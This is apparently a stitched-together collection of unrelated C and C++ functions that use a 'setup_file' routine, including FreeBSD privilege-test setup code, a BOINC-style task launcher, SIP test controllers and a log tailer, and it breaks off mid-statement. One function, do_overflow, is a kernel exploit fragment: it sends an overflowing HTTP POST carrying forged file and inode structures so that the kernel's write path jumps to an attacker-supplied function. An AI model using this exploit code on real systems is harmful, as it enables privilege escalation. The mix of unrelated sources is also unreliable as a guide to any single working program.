int priv_vfs_generation_setup(int asroot, int injail, struct test *test) { struct stat sb; int i; /* * The kernel zeros the generation number field when an unprivileged * user stats a file. In order to distinguish the two cases, we * therefore require a file that we know has a non-zero generation * number. We try up to MAX_TRIES times and otherwise fail. */ for (i = 0; i < MAX_TRIES; i++) { setup_file("priv_vfs_generation_setup: fpath", fpath, UID_ROOT, GID_WHEEL, 0644); if (stat(fpath, &sb) < 0) { warn("priv_vfs_generation_setup: fstat(%s)", fpath); (void)unlink(fpath); return (-1); } if (sb.st_gen != 0) { fpath_initialized = 1; return (0); } } warnx("priv_vfs_generation_setup: unable to create gen file"); return (-1); }
int priv_vfs_getfh_setup(int asroot, int injail, struct test *test) { setup_file("priv_vfs_getfh_setup: fpath", fpath, UID_ROOT, GID_WHEEL, 0644); return (0); }
int priv_vfs_readwrite_fowner_setup(int asroot, int injail, struct test *test) { setup_file("priv_vfs_readwrite_fowner_setup: fpath_none", fpath_none, asroot ? UID_ROOT : UID_OWNER, GID_OTHER, 0000); fpath_none_initialized = 1; setup_file("priv_vfs_readwrite_fowner_setup: fpath_read", fpath_read, asroot ? UID_ROOT : UID_OWNER, GID_OTHER, 0400); fpath_read_initialized = 1; setup_file("priv_vfs_readwrite_fowner_setup: fpath_write", fpath_write, asroot ? UID_ROOT : UID_OWNER, GID_OTHER, 0200); fpath_write_initialized = 1; setup_file("priv_vfs_readwrite_fowner_setup: fpath_readwrite", fpath_readwrite, asroot ? UID_ROOT : UID_OWNER, GID_OTHER, 0600); fpath_readwrite_initialized = 1; return (0); }
int priv_vfs_readwrite_fother_setup(int asroot, int injail, struct test *test) { setup_file("priv_vfs_readwrite_fother_setup: fpath_none", fpath_none, UID_OTHER, GID_OTHER, 0000); fpath_none_initialized = 1; setup_file("priv_vfs_readwrite_fother_setup: fpath_read", fpath_read, UID_OTHER, GID_OTHER, 0004); fpath_read_initialized = 1; setup_file("priv_vfs_readwrite_fother_setup: fpath_write", fpath_write, UID_OTHER, GID_OTHER, 0002); fpath_write_initialized = 1; setup_file("priv_vfs_readwrite_fother_setup: fpath_readwrite", fpath_readwrite, UID_OTHER, GID_OTHER, 0006); fpath_readwrite_initialized = 1; return (0); }
int priv_vfs_clearsugid_setup(int asroot, int injail, struct test *test) { setup_file("priv_vfs_clearsugid_setup: fpath", fpath, UID_OWNER, GID_OTHER, 0600 | S_ISUID); fpath_initialized = 1; return (0); }
int priv_vfs_utimes_fowner_setup(int asroot, int injail, struct test *test) { setup_file("priv_vfs_utimes_fowner_setup: fpath", fpath, UID_OWNER, GID_OWNER, 0600); fpath_initialized = 1; return (0); }
int priv_vfs_chmod_fother_setup(int asroot, int injail, struct test *test) { setup_file("priv_vfs_chmod_setup: fpath", fpath, UID_OTHER, GID_OTHER, 0600); fpath_initialized = 1; return (0); }
int priv_vfs_utimes_froot_setup(int asroot, int injail, struct test *test) { setup_file("priv_vfs_utimes_froot_setup: fpath", fpath, UID_ROOT, GID_WHEEL, 0600); fpath_initialized = 1; return (0); }
int priv_vfs_readwrite_fgroup_setup(int asroot, int injail, struct test *test) { setup_file("priv_vfs_readwrite_fgroup_setup: fpath_none", fpath_none, UID_OTHER, asroot ? GID_WHEEL : GID_OWNER, 0000); fpath_none_initialized = 1; setup_file("priv_vfs_readwrite_fgroup_setup: fpath_read", fpath_read, UID_OTHER, asroot ? GID_WHEEL : GID_OWNER, 0040); fpath_read_initialized = 1; setup_file("priv_vfs_readwrite_fgroup_setup: fpath_write", fpath_write, UID_OTHER, asroot ? GID_WHEEL : GID_OWNER, 0020); fpath_write_initialized = 1; setup_file("priv_vfs_readwrite_fgroup_setup: fpath_readwrite", fpath_readwrite, UID_OTHER, asroot ? GID_WHEEL : GID_OWNER, 0060); fpath_readwrite_initialized = 1; return (0); }
int priv_vfs_setgid_fother_setup(int asroot, int injail, struct test *test) { /* NOTE: owner uid, *other* gid. */ setup_file("priv_vfs_setgid_forther: fpath", fpath, UID_OWNER, GID_OTHER, 0600); fpath_initialized = 1; return (0); }
void ra_mean::open() // ra_mean::open calls every program start { pwr_tStatus sts; pwr_tUInt32 num; pwr_tObjid aoid; string line, tmpSystem, tmpPointer, tmpTime; pwr_tBoolean newResult = TRUE; pwr_tInt32 nValues = 0; isActive_ = 0; nResultsMax_ = 5; nResults_ = 0; resultsList_ = new ra_result[nResultsMax_]; // Allocate memory for resultsList_ ifstream setup_file("ra_mean_setup.txt"); // Setup file if(setup_file.is_open() ) { // Open setup file while ( getline (setup_file, line) ) { // Get lines i setup file if(line.substr(0,1) != "#") { // Check if line don't start with #, then read info tmpSystem = line.substr(0, line.find(' ') ); tmpPointer = line.substr((line.find(' ') + 1), line.length() - line.find(' ') ); if(tmpPointer.find(' ') != string::npos) tmpPointer = tmpPointer.substr(0, tmpPointer.find(' ')); if(newResult) { // If it's the first row in description, create a new result addResult( tmpSystem.c_str(), tmpPointer.c_str() ); newResult = FALSE; } else { // Else we create a new value to the current result resultsList_[nResults_].addValue(tmpPointer.c_str()); nValues++; } } else { // If we encounter a #, then we shall prepare for a new result entry nValues = 0; if(newResult == FALSE) { newResult = TRUE; nResults_++; } } } setup_file.close(); // When there are no more lines, close the file } else alarm("ra_mean", "Unable to open file"); sts = mh_ApplConnect( aoid, mh_mApplFlags(0), "", mh_eEvent_Info, mh_eEventPrio_A, mh_mEventFlags_Bell, "", &num); if (EVEN (sts)) throw co_error(sts); }
int main(int argc, char* argv[]) { int i; char filea[MAX_PATH]; char fileb[MAX_PATH]; if (argc < 3) { fprintf(stderr, "tup-cp [sources...] [destination]\n"); exit(-1); } setup_file(fileb, argv[argc-1]); for (i = 1; i < argc - 1; i++) { setup_file(filea, argv[i]); if (!CopyFileA(filea, fileb, FALSE)) { perror("copy"); } } return 0; }
int priv_vfs_extattr_system_setup(int asroot, int injail, struct test *test) { /* * Set file perms so that discretionary access control would grant * write rights on non-system EAs on the file. */ setup_file("priv_vfs_extattr_system_setup: fpath", fpath, UID_ROOT, GID_WHEEL, 0666); fpath_initialized = 1; return (0); }
int priv_vfs_fhopen_setup(int asroot, int injail, struct test *test) { setup_file("private_vfs_fhopen_setup: fpath", fpath, UID_ROOT, GID_WHEEL, 0644); fpath_initialized = 1; if (getfh(fpath, &fh) < 0) { warn("priv_vfs_fhopen_setup: getfh(%s)", fpath); return (-1); } return (0); }
int ACTIVE_TASK::link_user_files() { PROJECT* project = wup->project; unsigned int i; FILE_REF fref; FILE_INFO* fip; for (i=0; i<project->user_files.size(); i++) { fref = project->user_files[i]; fip = fref.file_info; if (fip->status != FILE_PRESENT) continue; std::string file_path = get_pathname(fip); setup_file(project, fip, fref, file_path, slot_dir, true); } return 0; }
int priv_vfs_utimes_fother_setup(int asroot, int injail, struct test *test) { /* * In the 'other' case, we make the file writable by the test user so * we can evaluate the difference between setting the time to NULL, * which is possible as a writer, and non-NULL, which requires * ownership. */ setup_file("priv_vfs_utimes_fother_setup: fpath", fpath, UID_OTHER, GID_OTHER, 0666); fpath_initialized = 1; return (0); }
int priv_acct_setup(int asroot, int injail, struct test *test) { size_t len; int i; len = sizeof(i); if (sysctlbyname(SYSCTL_NAME, &i, &len, NULL, 0) < 0) { warn("priv_acct_setup: sysctlbyname(%s)", SYSCTL_NAME); return (-1); } if (i != 0) { warnx("sysctlbyname(%s) indicates accounting configured", SYSCTL_NAME); return (-1); } setup_file("priv_acct_setup: fpath1", fpath1, 0, 0, 0666); fpath1_initialized = 1; setup_file("priv_acct_setup: fpath2", fpath2, 0, 0, 0666); fpath2_initialized = 1; if (test->t_test_func == priv_acct_enable || test->t_test_func == priv_acct_noopdisable) { if (acct(NULL) != 0) { warn("priv_acct_setup: acct(NULL)"); return (-1); } } else if (test->t_test_func == priv_acct_disable || test->t_test_func == priv_acct_rotate) { if (acct(fpath1) != 0) { warn("priv_acct_setup: acct(\"%s\")", fpath1); return (-1); } } return (0); }
TestControllerParallel::TestControllerParallel(std::string job, bool has_dot_dat_file, bool verbose, std::string comment, std::ostream& sial_output, std::string restart_id, int restart_prognum, bool expect_success) : job_(job), verbose_(verbose), comment_(comment), sial_output_( sial_output), sip_tables_(NULL), wpam_(NULL), this_test_enabled_( true), expect_success_(expect_success), prog_number_(0), spam_( NULL), server_(NULL), worker_(NULL), printer_(NULL) { barrier(); sip::JobControl::set_global_job_control(new sip::JobControl(sip::JobControl::make_job_id(), restart_id, restart_prognum)); sip::MemoryTracker::set_global_memory_tracker(new sip::MemoryTracker()); std::cout << "job_id: " << sip::JobControl::global->get_job_id() << ", restart_id: "<< restart_id << std::endl << std::flush; std::cout << "allocated_ " << sip::MemoryTracker::global->get_allocated_bytes() << std::endl << std::flush; if (has_dot_dat_file) { setup::BinaryInputFile setup_file(job + ".dat"); setup_reader_ = new setup::SetupReader(setup_file); progs_ = &setup_reader_->sial_prog_list(); } else { setup_reader_ = setup::SetupReader::get_empty_reader(); progs_ = new std::vector<std::string>(); progs_->push_back(job + ".siox"); } if (attr->is_worker()){ wpam_ = new sip::WorkerPersistentArrayManager(); if (restart_prognum>0){ //get restart filename std::stringstream ss; ss << sip::JobControl::global->get_restart_id() << '.' << restart_prognum-1 << '.' << "worker_checkpoint"; std::string restart_file = ss.str(); wpam_->init_from_checkpoint(restart_file); } } #ifdef HAVE_MPI if (attr->is_server()) spam_ = new sip::ServerPersistentArrayManager(); #endif if (verbose) { std::cout << "****** Creating controller for test " << job_ << " *********!!!\n" << std::flush; } barrier(); }
Setup *fill_setup(Image *image, char *setupfile, int usefile, int autopars) { int no_error=1; /* Flag set to 0 on error */ Setup *setup=NULL; /* Container for plotting parameters */ /* * Allocate memory for Setup container */ if(!(setup = new_setup(1))) { fprintf(stderr,"ERROR: fill_setup\n"); return NULL; } /* * Set up image display parameters */ if(no_error) if(set_setup_defaults(image,setup)) no_error = 0; if(autopars) if(init_setup(image,setup,autopars)) no_error = 0; if(no_error && usefile) if(setup_file(image,setup,setupfile)) no_error = 0; if(no_error) setup_interact(image,setup); /* * Return filled setup container if no errors */ if(no_error) return setup; else { fprintf(stderr,"ERROR: fill_setup\n"); return del_setup(setup); } }
void do_overflow() { char buf[BUFLEN + 1024]; int len, fd, i; struct sockaddr_in sa; /* Prepare buffer */ sprintf(buf, "POST / HTTP/1.1\r\nContent-Length: %d\r\n\r\n", TARGET_SLAB - 8); len = strlen(buf); memset(buf+len, 0, BUFLEN); if (!(mmap_area = (long)mmap(NULL, 0x4000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_SHARED, -1, 0))) { printf("Bad address\n"); exit(1); } /* Setting up crafted file/inode entries */ dentry_addr = mmap_area; inode_addr = mmap_area + 0x1000; f_op_addr = mmap_area + 0x2000; i_security_addr = mmap_area + 0x3000; write_addr = &leetbbq; aio_write_addr = 0xdeadbeef0badf00d; // We first executed with a pattern // crashes at vfs_write check of file->f_op->fwrite at offset 224 setup_file(buf+len+224-0x20); len += BUFLEN; /* Send buffer */ fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sa, 0, sizeof(struct sockaddr_in)); sa.sin_family = AF_INET; sa.sin_port = htons(80); sa.sin_addr.s_addr = inet_addr("127.0.0.1"); if (connect(fd, &sa, sizeof(sa)) < 0) { printf("Could not connect\n"); exit(1); } if ((i = send(fd, buf, len, 0)) != len) { printf("Payload not sent\n"); exit(1); } printf("[+] Payload sent (%d bytes)\n", len); }
TestController::TestController(std::string job, bool has_dot_dat_file, bool verbose, std::string comment, std::ostream& sial_output, bool expect_success) : job_(job), verbose_(verbose), comment_(comment), sial_output_( sial_output), sip_tables_(NULL), wpam_(NULL), expect_success_( expect_success), worker_(NULL), printer_(NULL), prog_number_(0){ // barrier(); // if (has_dot_dat_file) { // barrier(); // setup::BinaryInputFile setup_file(job + ".dat"); // setup_reader_ = new setup::SetupReader(setup_file); // setup::SetupReader::SialProgList &progs = setup_reader_->sial_prog_list(); // std::string prog_name = progs[0]; // siox_path = dir_name + prog_name; // } else { // setup_reader_ = setup::SetupReader::get_empty_reader(); // std::string prog_name = job_ + ".siox"; // siox_path = dir_name + prog_name; // std::cout << "siox_path: " << siox_path << std::endl << std::flush; // } if (has_dot_dat_file) { setup::BinaryInputFile setup_file(job + ".dat"); setup_reader_ = new setup::SetupReader(setup_file); progs_ = &setup_reader_->sial_prog_list(); } else { setup_reader_ = setup::SetupReader::get_empty_reader(); progs_ = new std::vector<std::string>(); progs_->push_back(job + ".siox"); } wpam_ = new sip::WorkerPersistentArrayManager(); if (verbose) { std::cout << "**************** STARTING TEST " << job_ << " ***********************!!!\n" << std::flush; } // barrier(); }
int main(int argc, char **argv) { int i, c, ret = 0; int n_files; unsigned long n_units = DEFAULT_N_LINES; char forever = 0, mode = M_LINES; char **filenames; //struct file_struct *files = NULL; int event_cnt = 1; /* Set up logging */ openlog("AUDITD_BRO", 0, LOG_USER); au = auparse_init(AUSOURCE_FEED, 0); auparse_add_callback(au, auparse_callback, &event_cnt, NULL); if (au == NULL) { printf("Error - %s\n", strerror(errno)); return 1; } while ((c = getopt_long(argc, argv, "c:n:fvVh", long_opts, NULL)) != -1) { switch (c) { case 'c': mode = M_BYTES; /* fall through */ case 'n': if (*optarg == '+') { from_begin = 1; optarg++; } else if (*optarg == '-') optarg++; if (!is_digit(*optarg)) { fprintf(stderr, "Error: Invalid number of units: %s\n", optarg); exit(EXIT_FAILURE); } n_units = strtoul(optarg, NULL, 0); break; case 'f': forever = 1; break; case 'v': verbose = 1; break; case 'V': fprintf(stdout, "%s %s\n", PROGRAM_NAME, VERSION); exit(EXIT_SUCCESS); case 'h': usage(EXIT_SUCCESS); default: usage(EXIT_FAILURE); } } /* Do we have some files to read from? */ if (optind < argc) { n_files = argc - optind; filenames = argv + optind; } else { /* It must be stdin then */ static char *dummy_stdin = "-"; n_files = 1; filenames = &dummy_stdin; /* POSIX says that -f is ignored if no file operand is specified and standard input is a pipe. */ if (forever) { struct stat finfo; int rc = fstat(STDIN_FILENO, &finfo); if (unlikely(rc == -1)) { fprintf(stderr, "Error: Could not stat stdin (%s)\n", strerror(errno)); exit(EXIT_FAILURE); } if (rc == 0 && IS_PIPELIKE(finfo.st_mode)) forever = 0; } } // end stdin files = emalloc(n_files * sizeof(struct file_struct)); for (i = 0; i < n_files; i++) { files[i].name = filenames[i]; setup_file(&files[i]); ret = tail_file(&files[i], n_units, mode, forever); if (ret < 0) ignore_file(&files[i]); } if (forever) ret = watch_files(files, n_files); free(files); auparse_flush_feed(au); auparse_destroy(au); closelog(); return ret; }
int main(int argc, char* argv[]) { // Default initialization file is data.dat char *init_file = "data.dat"; // Default directory for compiled sialx files is "." char *sialx_file_dir = "."; // Read about getopt here : http://www.gnu.org/software/libc/manual/html_node/Getopt.html // d: means an argument is required for d. Specifies the .dat file. // s: means an argument is required for s. // h & ? are for help. They require no arguments const char *optString = "d:s:h?"; int c; while ((c = getopt(argc, argv, optString)) != -1){ switch (c) { case 'd': init_file = optarg; break; case 's': sialx_file_dir = optarg; break; case 'h':case '?': default: std::cerr<< "Constructs SIP Tables from a .dat file and .siox files and prints them to stdout" <<std::endl; std::cerr<<"Usage : "<<argv[0]<<" -d <init_data_file> -s <sialx_files_directory>"<<std::endl; std::cerr<<"\tDefault data file is \"data.dat\". Default sialx directory is \".\""<<std::endl; std::cerr<<"\t-? or -h to display this usage dialogue"<<std::endl; return 1; } } sip::MemoryTracker::set_global_memory_tracker(new sip::MemoryTracker()); //create setup_file std::string job(init_file); //initialize setup data setup::BinaryInputFile setup_file(job); setup::SetupReader setup_reader(setup_file); setup::SetupReader::SialProgList &progs = setup_reader.sial_prog_list(); setup::SetupReader::SialProgList::iterator it; std::cout << "SetupReader::" <<std::endl << setup_reader << std::endl; for (it = progs.begin(); it != progs.end(); ++it) { std::string sialfpath; sialfpath.append(sialx_file_dir); sialfpath.append("/"); sialfpath.append(*it); setup::BinaryInputFile siox_file(sialfpath); sip::SipTables sipTables(setup_reader, siox_file); // Print the sipTables instance std::cout << "Sial File : " << sialfpath << std::endl; sipTables.print_array_info(std::cout) << std::endl; } std::cout << "Memory used for predefined arrays\n" << *sip::MemoryTracker::global << std::endl <<std::flush; return 0; }
/// Start a task in a slot directory. /// This includes setting up soft links, /// passing preferences, and starting the process. /// /// Current dir is top-level Synecdoche dir. /// /// \post /// - If any error occurs /// - #task_state is #PROCESS_COULDNT_START /// - CLIENT_STATE::report_result_error() is called /// - else /// - #task_state is #PROCESS_EXECUTING /// /// \return 0 on success, nonzero otherwise. int ACTIVE_TASK::start() { char exec_name[256], exec_path[256]; unsigned int i; FILE_REF fref; int retval; // F*** goto, need to define some variables here instead of where they are used! std::ostringstream err_stream; #ifdef _WIN32 std::string cmd_line; std::string slotdirpath; #else // Needs to be defined here because those gotos would skip the // initialization of 'cmdline' and 'argv' if it would be defined later. std::ostringstream cmdline; std::list<std::string> argv; #endif if ((!full_init_done) && (log_flags.task)) { msg_printf(wup->project, MSG_INFO, "Starting %s", result->name ); } if (log_flags.cpu_sched) { msg_printf(wup->project, MSG_INFO, "[cpu_sched] Starting %s%s", result->name, (full_init_done) ? " (resume)" : " (initial)" ); } // Always check if all required files are present. If not, trigger // re-downloads and don't start the science application. FILE_INFO_PSET missing_file_infos; retval = gstate.input_files_available(result, true, &missing_file_infos); if (retval) { for (FILE_INFO_PSET::iterator it = missing_file_infos.begin(); it != missing_file_infos.end(); ++it) { FILE_INFO* fip = *it; if (fip) { err_stream << "Input file " << fip->name << " missing or invalid: " << retval; } else { err_stream << "Input file missing or invalid"; // We can't trigger a new download if we don't have // any file information. Just fail here as before. goto error; } fip->status = FILE_NOT_PRESENT; } } if (!missing_file_infos.empty()) { // Some files are missing and are set for re-transfer. // Update status and return without error. result->set_state(RESULT_FILES_DOWNLOADING, "start"); set_task_state(PROCESS_UNINITIALIZED, "start"); next_scheduler_state = PROCESS_UNINITIALIZED; return 0; } if (!full_init_done) { checkpoint_cpu_time = 0; checkpoint_wall_time = gstate.now; } current_cpu_time = checkpoint_cpu_time; episode_start_cpu_time = checkpoint_cpu_time; debt_interval_start_cpu_time = checkpoint_cpu_time; graphics_request_queue.init(result->name); // reset message queues process_control_queue.init(result->name); if (!app_client_shm.shm) { retval = get_shmem_seg_name(); if (retval) { err_stream << "Can't get shared memory segment name: " << boincerror(retval); goto error; } } // this must go AFTER creating shmem name, // since the shmem name is part of the file // retval = write_app_init_file(); if (retval) { err_stream << "Can't write init file: " << retval; goto error; } // set up applications files // strcpy(exec_name, ""); for (i=0; i<app_version->app_files.size(); i++) { fref = app_version->app_files[i]; FILE_INFO* fip = fref.file_info; std::string file_path = get_pathname(fip); if (fref.main_program) { if (is_image_file(fip->name)) { err_stream << "Main program " << fip->name << " is an image file"; retval = ERR_NO_SIGNATURE; goto error; } if (!fip->executable && !wup->project->anonymous_platform) { err_stream << "Main program " << fip->name << " is not executable"; retval = ERR_NO_SIGNATURE; goto error; } safe_strcpy(exec_name, fip->name.c_str()); safe_strcpy(exec_path, file_path.c_str()); } // anonymous platform may use different files than // when the result was started, so link files even if not first time if ((!full_init_done) || (wup->project->anonymous_platform)) { retval = setup_file(result->project, fip, fref, file_path, slot_dir, true); if (retval) { err_stream << "Can't link input file"; goto error; } } } if (!strlen(exec_name)) { err_stream << "No main program specified"; retval = ERR_NOT_FOUND; goto error; } // set up input, output files if (!full_init_done) { for (i=0; i<wup->input_files.size(); i++) { fref = wup->input_files[i]; const FILE_INFO* fip = fref.file_info; std::string file_path = get_pathname(fref.file_info); retval = setup_file(result->project, fip, fref, file_path, slot_dir, true); if (retval) { err_stream << "Can't link input file"; goto error; } } for (i=0; i<result->output_files.size(); i++) { fref = result->output_files[i]; if (fref.copy_file) continue; const FILE_INFO* fip = fref.file_info; std::string file_path = get_pathname(fref.file_info); retval = setup_file(result->project, fip, fref, file_path, slot_dir, false); if (retval) { err_stream << "Can't link output file"; goto error; } } full_init_done = true; } link_user_files(); if (gstate.exit_before_start) { exit(0); } #ifdef _WIN32 PROCESS_INFORMATION process_info; STARTUPINFO startup_info; LPVOID environment_block = NULL; char error_msg[1024]; char error_msg2[1024]; memset(&process_info, 0, sizeof(process_info)); memset(&startup_info, 0, sizeof(startup_info)); startup_info.cb = sizeof(startup_info); // suppress 2-sec rotating hourglass cursor on startup // startup_info.dwFlags = STARTF_FORCEOFFFEEDBACK; app_client_shm.reset_msgs(); if (config.run_apps_manually) { // fill in core client's PID so we won't think app has exited pid = GetCurrentProcessId(); pid_handle = GetCurrentProcess(); set_task_state(PROCESS_EXECUTING, "start"); return 0; } // NOTE: in Windows, stderr is redirected in boinc_init_diagnostics(); cmd_line = exec_path + std::string(" ") + wup->command_line; if (strlen(app_version->cmdline)) { cmd_line += std::string(" ") + app_version->cmdline; } slotdirpath = relative_to_absolute(slot_dir); bool success = false; for (i=0; i<5; i++) { if (sandbox_account_service_token != NULL) { // Find CreateEnvironmentBlock/DestroyEnvironmentBlock pointers tCEB pCEB = NULL; tDEB pDEB = NULL; HMODULE hUserEnvLib = NULL; hUserEnvLib = LoadLibrary("userenv.dll"); if (hUserEnvLib) { pCEB = (tCEB) GetProcAddress(hUserEnvLib, "CreateEnvironmentBlock"); pDEB = (tDEB) GetProcAddress(hUserEnvLib, "DestroyEnvironmentBlock"); } if (!pCEB(&environment_block, sandbox_account_service_token, FALSE)) { if (log_flags.task) { windows_error_string(error_msg, sizeof(error_msg)); msg_printf(wup->project, MSG_INFO, "Process environment block creation failed: %s", error_msg ); } } if (CreateProcessAsUser( sandbox_account_service_token, exec_path, (LPSTR)cmd_line.c_str(), NULL, NULL, FALSE, CREATE_NEW_PROCESS_GROUP|CREATE_NO_WINDOW|IDLE_PRIORITY_CLASS|CREATE_UNICODE_ENVIRONMENT, environment_block, slotdirpath.c_str(), &startup_info, &process_info )) { success = true; break; } else { windows_error_string(error_msg, sizeof(error_msg)); msg_printf(wup->project, MSG_INTERNAL_ERROR, "Process creation failed: %s", error_msg ); } if (!pDEB(environment_block)) { if (log_flags.task) { windows_error_string(error_msg, sizeof(error_msg2)); msg_printf(wup->project, MSG_INFO, "Process environment block cleanup failed: %s", error_msg2 ); } } if (hUserEnvLib) { pCEB = NULL; pDEB = NULL; FreeLibrary(hUserEnvLib); } } else { if (CreateProcess( exec_path, (LPSTR)cmd_line.c_str(), NULL, NULL, FALSE, CREATE_NEW_PROCESS_GROUP|CREATE_NO_WINDOW|IDLE_PRIORITY_CLASS, NULL, slotdirpath.c_str(), &startup_info, &process_info )) { success = true; break; } else { windows_error_string(error_msg, sizeof(error_msg)); msg_printf(wup->project, MSG_INTERNAL_ERROR, "Process creation failed: %s", error_msg ); } } boinc_sleep(drand()); } if (!success) { err_stream << "CreateProcess() failed - " << error_msg; retval = ERR_EXEC; goto error; } pid = process_info.dwProcessId; pid_handle = process_info.hProcess; CloseHandle(process_info.hThread); // thread handle is not used #else // Unix/Linux/Mac case // Set up core/app shared memory seg if needed // if (!app_client_shm.shm) { if (app_version->api_major_version() >= 6) { // Use mmap() shared memory std::string buf = slot_dir + std::string("/") + std::string(MMAPPED_FILE_NAME); if (g_use_sandbox) { if (!boinc_file_exists(buf.c_str())) { int fd = open(buf.c_str(), O_RDWR | O_CREAT, 0660); if (fd >= 0) { close (fd); #ifdef SANDBOX set_to_project_group(buf.c_str()); #endif } } } retval = create_shmem_mmap( buf.c_str(), sizeof(SHARED_MEM), (void**)&app_client_shm.shm ); } else { // Use shmget() shared memory retval = create_shmem( shmem_seg_name, sizeof(SHARED_MEM), gstate.boinc_project_gid, (void**)&app_client_shm.shm ); if (retval) { needs_shmem = true; destroy_shmem(shmem_seg_name); return retval; } } needs_shmem = false; } app_client_shm.reset_msgs(); #if (defined (__APPLE__) && (defined(__i386__) || defined(__x86_64__))) // PowerPC apps emulated on i386 Macs crash if running graphics powerpc_emulated_on_i386 = ! is_native_i386_app(exec_path); #endif if (config.run_apps_manually) { pid = getpid(); // use the client's PID set_task_state(PROCESS_EXECUTING, "start"); return 0; } // Prepare command line for the science app: cmdline << wup->command_line; if (strlen(app_version->cmdline)) { cmdline << ' ' << app_version->cmdline; } argv = parse_command_line(cmdline.str().c_str()); if (log_flags.task_debug) { debug_print_argv(argv); } pid = fork(); if (pid == -1) { err_stream << "fork() failed: " << strerror(errno); retval = ERR_FORK; goto error; } if (pid == 0) { // from here on we're running in a new process. // If an error happens, // exit nonzero so that the core client knows there was a problem. // don't pass stdout to the app // int fd = open("/dev/null", O_RDWR); dup2(fd, STDOUT_FILENO); close(fd); // add to library path: // - the project dir (../../projects/X) // - the slot dir (.) // - the Synecdoche dir (../..) // We use relative paths in case higher-level dirs // are not readable to the account under which app runs // std::string pdir = get_project_dir(wup->project); std::ostringstream libpath; const char* env_lib_path = getenv("LD_LIBRARY_PATH"); if (env_lib_path) { libpath << env_lib_path << ':'; } libpath << "../../" << pdir << ":.:../.."; setenv("LD_LIBRARY_PATH", libpath.str().c_str(), 1); retval = chdir(slot_dir.c_str()); if (retval) { perror("chdir"); fflush(NULL); _exit(errno); } #if 0 // set stack size limit to the max. // Some BOINC apps have reported problems with exceeding // small stack limits (e.g. 8 MB) // and it seems like the best thing to raise it as high as possible // struct rlimit rlim; #define MIN_STACK_LIMIT 64000000 getrlimit(RLIMIT_STACK, &rlim); if (rlim.rlim_cur != RLIM_INFINITY && rlim.rlim_cur <= MIN_STACK_LIMIT) { if (rlim.rlim_max == RLIM_INFINITY || rlim.rlim_max > MIN_STACK_LIMIT) { rlim.rlim_cur = MIN_STACK_LIMIT; } else { rlim.rlim_cur = rlim.rlim_max; } setrlimit(RLIMIT_STACK, &rlim); } #endif // hook up stderr to a specially-named file // freopen(STDERR_FILE, "a", stderr); // set idle process priority #ifdef HAVE_SETPRIORITY if (setpriority(PRIO_PROCESS, 0, PROCESS_IDLE_PRIORITY)) { perror("setpriority"); } #endif std::string path = std::string("../../") + std::string(exec_path); if (g_use_sandbox) { std::ostringstream switcher_path; switcher_path << "../../" << SWITCHER_DIR << '/' << SWITCHER_FILE_NAME; argv.push_front(exec_name); argv.push_front(path); argv.push_front(SWITCHER_FILE_NAME); // Files written by projects have user boinc_project and group boinc_project, // so they must be world-readable so Synecdoche can read them. umask(2); retval = do_execv(switcher_path.str(), argv); } else { argv.push_front(exec_name); retval = do_execv(path, argv); } msg_printf(wup->project, MSG_INTERNAL_ERROR, "Process creation (%s) failed: %s, errno=%d\n", path.c_str(), boincerror(retval), errno ); perror("execv"); fflush(NULL); _exit(errno); } if (log_flags.task_debug) { msg_printf(wup->project, MSG_INFO, "[task_debug] ACTIVE_TASK::start(): forked process: pid %d\n", pid ); } #endif set_task_state(PROCESS_EXECUTING, "start"); return 0; // go here on error; "error_msg" contains error message, "retval" is nonzero // error: // if something failed, it's possible that the executable was munged. // Verify it to trigger another download. // gstate.input_files_available(result, true); gstate.report_result_error(*result, "%s", err_stream.str().c_str()); set_task_state(PROCESS_COULDNT_START, "start"); return retval; }
TEST(SimpleMPI,persistent_distributed_array_mpi) { sip::GlobalState::reset_program_count(); sip::SIPMPIAttr &sip_mpi_attr = sip::SIPMPIAttr::get_instance(); int my_rank = sip_mpi_attr.global_rank(); std::cout << "****************************************\n"; sip::DataManager::scope_count=0; //create setup_file std::string job("persistent_distributed_array_mpi"); std::cout << "JOBNAME = " << job << std::endl; double x = 3.456; int norb = 2; int segs[] = {2,3}; if (attr.global_rank() == 0) { init_setup(job.c_str()); set_scalar("x",x); set_constant("norb",norb); std::string tmp = job + "1.siox"; const char* nm= tmp.c_str(); add_sial_program(nm); std::string tmp1 = job + "2.siox"; const char* nm1= tmp1.c_str(); add_sial_program(nm1); set_aoindex_info(2,segs); finalize_setup(); } sip::SIPMPIUtils::check_err(MPI_Barrier(MPI_COMM_WORLD)); setup::BinaryInputFile setup_file(job + ".dat"); setup::SetupReader setup_reader(setup_file); std::cout << "SETUP READER DATA:\n" << setup_reader<< std::endl; //get siox name from setup, load and print the sip tables std::string prog_name = setup_reader.sial_prog_list_.at(0); std::string siox_dir(dir_name); setup::BinaryInputFile siox_file(siox_dir + prog_name); sip::SipTables sipTables(setup_reader, siox_file); if (!sip_mpi_attr.is_server()) { std::cout << "SIP TABLES" << '\n' << sipTables << std::endl; } if (sip_mpi_attr.global_rank()==0) { std::cout << "\n\n\n\n>>>>>>>>>>>>starting SIAL PROGRAM "<< job << std::endl; } //create worker and server sip::DataDistribution data_distribution(sipTables, sip_mpi_attr); sip::GlobalState::set_program_name(prog_name); sip::GlobalState::increment_program(); sip::WorkerPersistentArrayManager wpam; sip::ServerPersistentArrayManager spam; std::cout << "rank " << my_rank << " reached first barrier" << std::endl << std::flush; MPI_Barrier(MPI_COMM_WORLD); std::cout << "rank " << my_rank << " passed first barrier" << std::endl << std::flush; if (sip_mpi_attr.is_server()) { sip::SIPServer server(sipTables, data_distribution, sip_mpi_attr, &spam); std::cout << "at first barrier in prog 1 at server" << std::endl << std::flush; MPI_Barrier(MPI_COMM_WORLD); std::cout<<"passed first barrier at server, starting server" << std::endl; server.run(); spam.save_marked_arrays(&server); std::cout << "Server state after termination" << server << std::endl; } else { sip::SialxTimer sialxTimer(sipTables.max_timer_slots()); sip::Interpreter runner(sipTables, sialxTimer, &wpam); std::cout << "at first barrier in prog 1 at worker" << std::endl << std::flush; MPI_Barrier(MPI_COMM_WORLD); std::cout << "after first barrier; starting worker for "<< job << std::endl; runner.interpret(); wpam.save_marked_arrays(&runner); std::cout << "\n end of prog1 at worker"<< std::endl; } std::cout << std::flush; if (sip_mpi_attr.global_rank()==0) { std::cout << "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@" << std::endl << std::flush; std::cout << "SETUP READER DATA FOR SECOND PROGRAM:\n" << setup_reader<< std::endl; } std::string prog_name2 = 